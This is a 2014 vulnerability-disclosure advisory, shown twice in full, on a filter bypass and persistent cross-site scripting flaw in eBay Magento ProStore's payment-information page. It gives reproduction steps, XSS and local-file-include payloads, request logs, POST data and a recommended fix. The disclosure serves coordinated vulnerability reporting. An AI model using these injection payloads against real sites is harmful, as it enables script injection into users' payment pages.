Document Title:
===============
Ebay Inc Magento ProStore CP #4 - Filter Validation Bypass & Persistent
(Payment Information) Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
Ebay Inc ID: EIBBP-28091
Video: http://www.vulnerability-lab.
View: https://www.youtube.com/watch?
Release Date:
=============
2014-08-04
Vulnerability Laboratory ID (VL-ID):
==============================
1265
Common Vulnerability Scoring System:
==============================
5.7
Product & Service Introduction:
==============================
Our team of security professionals works hard to keep Magento customer
information secure. What`s equally important to protecting this data?
Our security researchers and user community. If you find a site that
isn`t following our policies, or a vulnerability inside our system,
please tell us right away.
To report security vulnerabilities in Magento software or web sites, use
the eBay Inc. Bug Bounty tool. A list of sites eligible for bounties and
the vulnerability
classes that are in scope are detailed below.
Prostores - (mystore.prostores.com, store0*.prostores.com)
Researchers must register their own trial stores in order to perform
testing on the ProStores platform. As long as each account is cancelled
before 30 days,
there will be no charge. NO testing of any kind may be performed by
researchers against stores they did not register themselves, especially
existing stores
belonging to real merchants. Researchers are encouraged to name their
stores in such a way that they`re easily identifiable as their own. Bugs
will NOT be
accepted in stores not owned by the researcher; such research may result
in disqualification for future bounties. Cross-Site Scripting (XSS) bugs
in the admin
interface (URLs containing /Admin/) will NOT be accepted. Merchants are
explicitly allowed to use active content when designing their stores, so
this is a
required feature. Merchants may configure their stores to use their own
domains if they are concerned about the risk of XSS attacks against
their customers
or store. The same bug WILL NOT be eligible for bounties on two or more
subdomains. Such a bug will only be eligible for a single bounty payment.
For example: store01.prostores.com, store02.prostores.com, and
mystore.prostores.com are all considered the same domain running the
same code for
the purposes of the bounty program.
(Copy of the Homepage: http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team has discovered a filter
bypass & persistent vulnerability in the Ebay Inc Magento ProStore CP
web-application and api.
Vulnerability Disclosure Timeline:
==============================
2014-05-15: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-05-16: Vendor Notification (Ebay Inc Magento - Bug Bounty Program)
2014-06-27: Vendor Response/Feedback (Ebay Inc Magento - Bug Bounty Program)
2014-07-31: Vendor Fix/Patch (Magento Developer Team [Magento BB
Announcement] - Updates 31th July)
2014-08-04: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - ProStore Application & API 2014 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
==============================
A filter bypass and persistent input validation web vulnerability has
been discovered in the official Ebay ProStore CP Applicaiton (API).
The filter issue allows remote attackers to use of special tricks to
bypass the regular web formular validation of for example a payment.
The persistent input validation vulnerability allows an attacker to
inject own malicious script codes on the application-side of the service.
The filter bypass issue is located in the regular registration formular
of the ebay prostore application service. Remote attackers are able
to bypass the user first- & lastname input fields restriction of the
framework. Remote attackers are able to inject own payloads by holding
`strg+v` (combo - copy-paste) to keep the payload inside of the input
field. Next to holding the buttons the attacker clicks the send button.
The filter protection of the application and api does not have a second
proof of validation next to sending a registration formular with the
trick and script code payloads in the last- & firstname values. After
the first save of the input value and jump to the payment via paypal
menu the attacker can save one string per request to the user
credentials. By including in the first request procedure only one
payload in
for example the firstname value, the attacker can include via the same
way also in the last-name after activating a paypal payment account.
The persistent input validation vulnerability is located in the
vulnerable cardholder value of the payment information and payment
details module.
The vulnerability can be exploited by remote attackers with low
privileged application user accounts. The attacker vector is persistent
and the
execution of the injected payload occurs in the /cp/ payment and not the
/admin/ on the applicat-side. To exploit the persistent vulnerability,
its required to use the reported filter bypass ago.
Note: We are not sure yet if the persistent issue also affects the
manager/admin backend when reviewing the payment information of us.
Should be checked
by internal with feedback. All interaction with the compromised test
payment information should be reviewed by different perspectives on
interaction.
Exploitation of the filter bypass issue requires no privileged
application user account and no user interaction. Exploitation of the
persistent
input validation web vulnerability requires a low privileged application
user account and low or medium user interaction. Successful exploitation
of the filter issue leads to evasion of the regular scheme. Successful
exploitation of the persistent input validation web vulnerability
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] ../CP/ > Payment Information & payment Details (Card
Details)
Vulnerable File(s):
[+] store_payment_info.php
Vulnerable Parameter(s):
[+] first- & lastname
[+] Cardholder Name
Affected Module(s):
[+] https://mystore.prostores.com/
Proof of Concept (PoC):
=======================
The filter bypass issue can be exploited by remote attackers without
user interaction or privileged appliation user account.
The persistent input validation web vulnerability can be exploited by
remote attackers with low privileged application user
account and low or medium user interaction. For security demonstration
or to reproduce the vulnerability follow the provided
steps and information below to continue.
Steps:
1. Register an account at prostore for testings and policy
2. On the registration you include in the lastname a payload and press
strg+v, then you click the send button
3. You get redirected to include the payment information and link a
paypal account
4. You get redirected again back to the registration step one with the
linked account
5. You press strg+v and hold it for including in the firstname (only one
input per loop), press next to it via mouse the send button and complete
the procedure of registration
6. Login to the cp and visit the following payment information url
Note: All interaction with the compromised payment information can have
an affect to the moderator/administrator backend on review or interaction.
7. Successful reproduce of the filter bypass issue in the registration
and persistent issue in the payment information!
PoC: ProStores - Payment Information > Payment
<div id="ccInfoReadMode" style="display: none">
<table width="50%">
<tbody><tr>
<td bgcolor="#C0D9E8">
<strong>Card Details</strong>
</td>
</tr>
<tr>
<td>
PayPal </td>
</tr>
<tr>
<td>
Expires: / </td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td bgcolor="#C0D9E8">
<strong>Cardholder Name and Address</strong>
</td>
</tr>
<tr>
<td>
imgsrcxonerrorprompt23 "><img src="x"
onerror="prompt(23);"> </td>
</tr>
<tr>
<td>
"><img src="x" onerror="prompt(23);"><br>
</td>
</tr>
<tr>
<td>
"><img src="x" onerror="prompt(23);">,
34128 </td>
</tr>
<tr>
<td>
DE </td>
</tr>
</tbody></table>
Note: The vulnerable file which executes the code is not located in
/admin/ and affects the payment information via CP >
https://mystore.prostores.com/
Payload:
XSS > %20<img
src="http://evolution-sec.com/
onerror="prompt(23);"> or
%20><script>alert(document.
LFI EXEC > %20&<iframe src=../../[LOCAL WEB-SERVER FILE
URL]>%20<iframe>
--- PoC Session Logs [GET] ---
18:15:47.980[2008ms][total 2008ms] Status: 200[Found]
GET https://mystore.prostores.com/
Größe des Inhalts[202] Mime Type[text/html]
Request Header:
Host[mystore.prostores.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0)
Gecko/20100101 Firefox/29.0]
Accept[image/png,image/*;q=0.
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://mystore.
Cookie[PHPSESSID=
__utma=207397714.1830693225.
__utmb=207397714.28.10.
__utmz=207397714.1400083192.1.
pstoken=
Connection[keep-alive]
Response Header:
Date[Wed, 14 May 2014 16:16:06 GMT]
Server[Apache]
Content-Length[202]
Connection[close]
Content-Type[text/html; charset=iso-8859-1]
18:16:51.227[237ms][total 237ms] Status: 200[OK]
GET https://mystore.prostores.com/
Inhalts[202] Mime Type[text/html]
Request Header:
Host[mystore.prostores.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0)
Gecko/20100101 Firefox/29.0]
Accept[image/png,image/*;q=0.
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://mystore.
Cookie[PHPSESSID=
__utma=207397714.1830693225.
__utmb=207397714.28.10.
__utmz=207397714.1400083192.1.
pstoken=
Connection[keep-alive]
Response Header:
Date[Wed, 14 May 2014 16:17:07 GMT]
Server[Apache]
Content-Length[202]
Connection[close]
Content-Type[text/html; charset=iso-8859-1]
Note: Shows the execution GET method request in the regular cp service
after the inject in the registration.
The full poc session logs with registration is available in the
attachment. The issue can also be used to
request local path through the trusted value context of the payment. The
result could be a local file or
path include to request unauthorized local web-sevrer content by
processing a payment.
Test Shop Data for Magento Bug Bounty & Reward Policy:
POST-Daten:
form_token
[
form_step[step1]
username[
email[bkm%40evolution-sec.com]
password[chaos666]
confirm_password[chaos666]
industry[29]
offer[]
ded_store_name[+%22%3E%3Cimg+
%3Dprompt(23)%3B%3E]
shared_store_name[+%22%3E%
next[]
elqSiteID[2299]
elqFormName[PHP_Repost_SignUp]
ebay_seller_ID[]
ebay_seller_level[]
ebay_store_flag[0]
ebay_Customer[0]
prefix[store01]
promotion[]
signup_complete[0]
Reference(s):
https://mystore.prostores.com/
https://mystore.prostores.com/
https://mystore.prostores.com/
http://www.prostores.com/
http://www.prostores.com/
https://mystore.prostores.com/
https://mystore.prostores.com/
Picture(s):
../1.png
../2.png
../3.png
../4.png
Resource(s):
../ProStores - Payment Information.htm
../poc-session-logs.txt (filtered only FULL LOGS ATTACK + REGISTRATION
PROSTORE)
../poc-source.txt (Code Execution)
Solution - Fix & Patch:
=======================
The vulnerability of the filter issue can be patched by a secure
restriction of the cardholder, first- & lastname input fields.
Restrict them and disallow special char with a second validation check
to prevent the filter evasion issue fully.
The persistent input validation vulnerability can be patched by a secure
parse and encode of the user credentials in the main
store_payment_info.php CP file.
Magento announced an update during the 31 July to update several issues
but also to implement regular updates.
Bug bounty submissions after the 31 July will not get accepted by the
ebay inc team.
The security problem will be patched during the update and upgrade
procedure of magento.
Customers only need to update as regular to resolve the security issues
with the automatic mechanism of the cms.
Security Risk:
==============
The security risk of the filter bypass issue in the prostore application
service is estimated as medium.
The security risk of the persistent input validation web vulnerability
is estimated as medium(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@evolution-sec.com) [admin@vulnerability-lab.com]
[www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect,
incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the
possibility of such damages. Some states do not allow the exclusion or
limitation
of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or
trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@vulnerability-lab.com -
research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com -
forum.vulnerability-db.com -
magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab -
facebook.com/VulnerabilityLab -
youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
vulnerability-lab.com/rss/rss_
vulnerability-lab.com/rss/rss_
Programs: vulnerability-lab.com/submit.
vulnerability-lab.com/list-of-
vulnerability-lab.com/
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other media, are
reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts,
advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or
managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com
permission.
Copyright © 2014 | Vulnerability Laboratory [Evolution
Security]
===============
Ebay Inc Magento ProStore CP #4 - Filter Validation Bypass & Persistent
(Payment Information) Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
Ebay Inc ID: EIBBP-28091
Video: http://www.vulnerability-lab.
View: https://www.youtube.com/watch?
Release Date:
=============
2014-08-04
Vulnerability Laboratory ID (VL-ID):
==============================
1265
Common Vulnerability Scoring System:
==============================
5.7
Product & Service Introduction:
==============================
Our team of security professionals works hard to keep Magento customer
information secure. What`s equally important to protecting this data?
Our security researchers and user community. If you find a site that
isn`t following our policies, or a vulnerability inside our system,
please tell us right away.
To report security vulnerabilities in Magento software or web sites, use
the eBay Inc. Bug Bounty tool. A list of sites eligible for bounties and
the vulnerability
classes that are in scope are detailed below.
Prostores - (mystore.prostores.com, store0*.prostores.com)
Researchers must register their own trial stores in order to perform
testing on the ProStores platform. As long as each account is cancelled
before 30 days,
there will be no charge. NO testing of any kind may be performed by
researchers against stores they did not register themselves, especially
existing stores
belonging to real merchants. Researchers are encouraged to name their
stores in such a way that they`re easily identifiable as their own. Bugs
will NOT be
accepted in stores not owned by the researcher; such research may result
in disqualification for future bounties. Cross-Site Scripting (XSS) bugs
in the admin
interface (URLs containing /Admin/) will NOT be accepted. Merchants are
explicitly allowed to use active content when designing their stores, so
this is a
required feature. Merchants may configure their stores to use their own
domains if they are concerned about the risk of XSS attacks against
their customers
or store. The same bug WILL NOT be eligible for bounties on two or more
subdomains. Such a bug will only be eligible for a single bounty payment.
For example: store01.prostores.com, store02.prostores.com, and
mystore.prostores.com are all considered the same domain running the
same code for
the purposes of the bounty program.
(Copy of the Homepage: http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team has discovered a filter
bypass & persistent vulnerability in the Ebay Inc Magento ProStore CP
web-application and api.
Vulnerability Disclosure Timeline:
==============================
2014-05-15: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-05-16: Vendor Notification (Ebay Inc Magento - Bug Bounty Program)
2014-06-27: Vendor Response/Feedback (Ebay Inc Magento - Bug Bounty Program)
2014-07-31: Vendor Fix/Patch (Magento Developer Team [Magento BB
Announcement] - Updates 31th July)
2014-08-04: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - ProStore Application & API 2014 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
==============================
A filter bypass and persistent input validation web vulnerability has
been discovered in the official Ebay ProStore CP Applicaiton (API).
The filter issue allows remote attackers to use of special tricks to
bypass the regular web formular validation of for example a payment.
The persistent input validation vulnerability allows an attacker to
inject own malicious script codes on the application-side of the service.
The filter bypass issue is located in the regular registration formular
of the ebay prostore application service. Remote attackers are able
to bypass the user first- & lastname input fields restriction of the
framework. Remote attackers are able to inject own payloads by holding
`strg+v` (combo - copy-paste) to keep the payload inside of the input
field. Next to holding the buttons the attacker clicks the send button.
The filter protection of the application and api does not have a second
proof of validation next to sending a registration formular with the
trick and script code payloads in the last- & firstname values. After
the first save of the input value and jump to the payment via paypal
menu the attacker can save one string per request to the user
credentials. By including in the first request procedure only one
payload in
for example the firstname value, the attacker can include via the same
way also in the last-name after activating a paypal payment account.
The persistent input validation vulnerability is located in the
vulnerable cardholder value of the payment information and payment
details module.
The vulnerability can be exploited by remote attackers with low
privileged application user accounts. The attacker vector is persistent
and the
execution of the injected payload occurs in the /cp/ payment and not the
/admin/ on the applicat-side. To exploit the persistent vulnerability,
its required to use the reported filter bypass ago.
Note: We are not sure yet if the persistent issue also affects the
manager/admin backend when reviewing the payment information of us.
Should be checked
by internal with feedback. All interaction with the compromised test
payment information should be reviewed by different perspectives on
interaction.
Exploitation of the filter bypass issue requires no privileged
application user account and no user interaction. Exploitation of the
persistent
input validation web vulnerability requires a low privileged application
user account and low or medium user interaction. Successful exploitation
of the filter issue leads to evasion of the regular scheme. Successful
exploitation of the persistent input validation web vulnerability
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] ../CP/ > Payment Information & payment Details (Card
Details)
Vulnerable File(s):
[+] store_payment_info.php
Vulnerable Parameter(s):
[+] first- & lastname
[+] Cardholder Name
Affected Module(s):
[+] https://mystore.prostores.com/
Proof of Concept (PoC):
=======================
The filter bypass issue can be exploited by remote attackers without
user interaction or privileged appliation user account.
The persistent input validation web vulnerability can be exploited by
remote attackers with low privileged application user
account and low or medium user interaction. For security demonstration
or to reproduce the vulnerability follow the provided
steps and information below to continue.
Steps:
1. Register an account at prostore for testings and policy
2. On the registration you include in the lastname a payload and press
strg+v, then you click the send button
3. You get redirected to include the payment information and link a
paypal account
4. You get redirected again back to the registration step one with the
linked account
5. You press strg+v and hold it for including in the firstname (only one
input per loop), press next to it via mouse the send button and complete
the procedure of registration
6. Login to the cp and visit the following payment information url
Note: All interaction with the compromised payment information can have
an affect to the moderator/administrator backend on review or interaction.
7. Successful reproduce of the filter bypass issue in the registration
and persistent issue in the payment information!
PoC: ProStores - Payment Information > Payment
<div id="ccInfoReadMode" style="display: none">
<table width="50%">
<tbody><tr>
<td bgcolor="#C0D9E8">
<strong>Card Details</strong>
</td>
</tr>
<tr>
<td>
PayPal </td>
</tr>
<tr>
<td>
Expires: / </td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td bgcolor="#C0D9E8">
<strong>Cardholder Name and Address</strong>
</td>
</tr>
<tr>
<td>
imgsrcxonerrorprompt23 "><img src="x"
onerror="prompt(23);"> </td>
</tr>
<tr>
<td>
"><img src="x" onerror="prompt(23);"><br>
</td>
</tr>
<tr>
<td>
"><img src="x" onerror="prompt(23);">,
34128 </td>
</tr>
<tr>
<td>
DE </td>
</tr>
</tbody></table>
Note: The vulnerable file which executes the code is not located in
/admin/ and affects the payment information via CP >
https://mystore.prostores.com/
Payload:
XSS > %20<img
src="http://evolution-sec.com/
onerror="prompt(23);"> or
%20><script>alert(document.
LFI EXEC > %20&<iframe src=../../[LOCAL WEB-SERVER FILE
URL]>%20<iframe>
--- PoC Session Logs [GET] ---
18:15:47.980[2008ms][total 2008ms] Status: 200[Found]
GET https://mystore.prostores.com/
Größe des Inhalts[202] Mime Type[text/html]
Request Header:
Host[mystore.prostores.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0)
Gecko/20100101 Firefox/29.0]
Accept[image/png,image/*;q=0.
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://mystore.
Cookie[PHPSESSID=
__utma=207397714.1830693225.
__utmb=207397714.28.10.
__utmz=207397714.1400083192.1.
pstoken=
Connection[keep-alive]
Response Header:
Date[Wed, 14 May 2014 16:16:06 GMT]
Server[Apache]
Content-Length[202]
Connection[close]
Content-Type[text/html; charset=iso-8859-1]
18:16:51.227[237ms][total 237ms] Status: 200[OK]
GET https://mystore.prostores.com/
Inhalts[202] Mime Type[text/html]
Request Header:
Host[mystore.prostores.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0)
Gecko/20100101 Firefox/29.0]
Accept[image/png,image/*;q=0.
Accept-Language[de,en-US;q=0.
Accept-Encoding[gzip, deflate]
Referer[https://mystore.
Cookie[PHPSESSID=
__utma=207397714.1830693225.
__utmb=207397714.28.10.
__utmz=207397714.1400083192.1.
pstoken=
Connection[keep-alive]
Response Header:
Date[Wed, 14 May 2014 16:17:07 GMT]
Server[Apache]
Content-Length[202]
Connection[close]
Content-Type[text/html; charset=iso-8859-1]
Note: Shows the execution GET method request in the regular cp service
after the inject in the registration.
The full poc session logs with registration is available in the
attachment. The issue can also be used to
request local path through the trusted value context of the payment. The
result could be a local file or
path include to request unauthorized local web-sevrer content by
processing a payment.
Test Shop Data for Magento Bug Bounty & Reward Policy:
POST-Daten:
form_token
[
form_step[step1]
username[
email[bkm%40evolution-sec.com]
password[chaos666]
confirm_password[chaos666]
industry[29]
offer[]
ded_store_name[+%22%3E%3Cimg+
%3Dprompt(23)%3B%3E]
shared_store_name[+%22%3E%
next[]
elqSiteID[2299]
elqFormName[PHP_Repost_SignUp]
ebay_seller_ID[]
ebay_seller_level[]
ebay_store_flag[0]
ebay_Customer[0]
prefix[store01]
promotion[]
signup_complete[0]
Reference(s):
https://mystore.prostores.com/
https://mystore.prostores.com/
https://mystore.prostores.com/
http://www.prostores.com/
http://www.prostores.com/
https://mystore.prostores.com/
https://mystore.prostores.com/
Picture(s):
../1.png
../2.png
../3.png
../4.png
Resource(s):
../ProStores - Payment Information.htm
../poc-session-logs.txt (filtered only FULL LOGS ATTACK + REGISTRATION
PROSTORE)
../poc-source.txt (Code Execution)
Solution - Fix & Patch:
=======================
The vulnerability of the filter issue can be patched by a secure
restriction of the cardholder, first- & lastname input fields.
Restrict them and disallow special char with a second validation check
to prevent the filter evasion issue fully.
The persistent input validation vulnerability can be patched by a secure
parse and encode of the user credentials in the main
store_payment_info.php CP file.
Magento announced an update during the 31 July to update several issues
but also to implement regular updates.
Bug bounty submissions after the 31 July will not get accepted by the
ebay inc team.
The security problem will be patched during the update and upgrade
procedure of magento.
Customers only need to update as regular to resolve the security issues
with the automatic mechanism of the cms.
Security Risk:
==============
The security risk of the filter bypass issue in the prostore application
service is estimated as medium.
The security risk of the persistent input validation web vulnerability
is estimated as medium(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@evolution-sec.com) [admin@vulnerability-lab.com]
[www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect,
incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the
possibility of such damages. Some states do not allow the exclusion or
limitation
of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or
trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@vulnerability-lab.com -
research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com -
forum.vulnerability-db.com -
magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab -
facebook.com/VulnerabilityLab -
youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
vulnerability-lab.com/rss/rss_
vulnerability-lab.com/rss/rss_
Programs: vulnerability-lab.com/submit.
vulnerability-lab.com/list-of-
vulnerability-lab.com/
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other media, are
reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts,
advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or
managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com
permission.
Copyright © 2014 | Vulnerability Laboratory [Evolution
Security]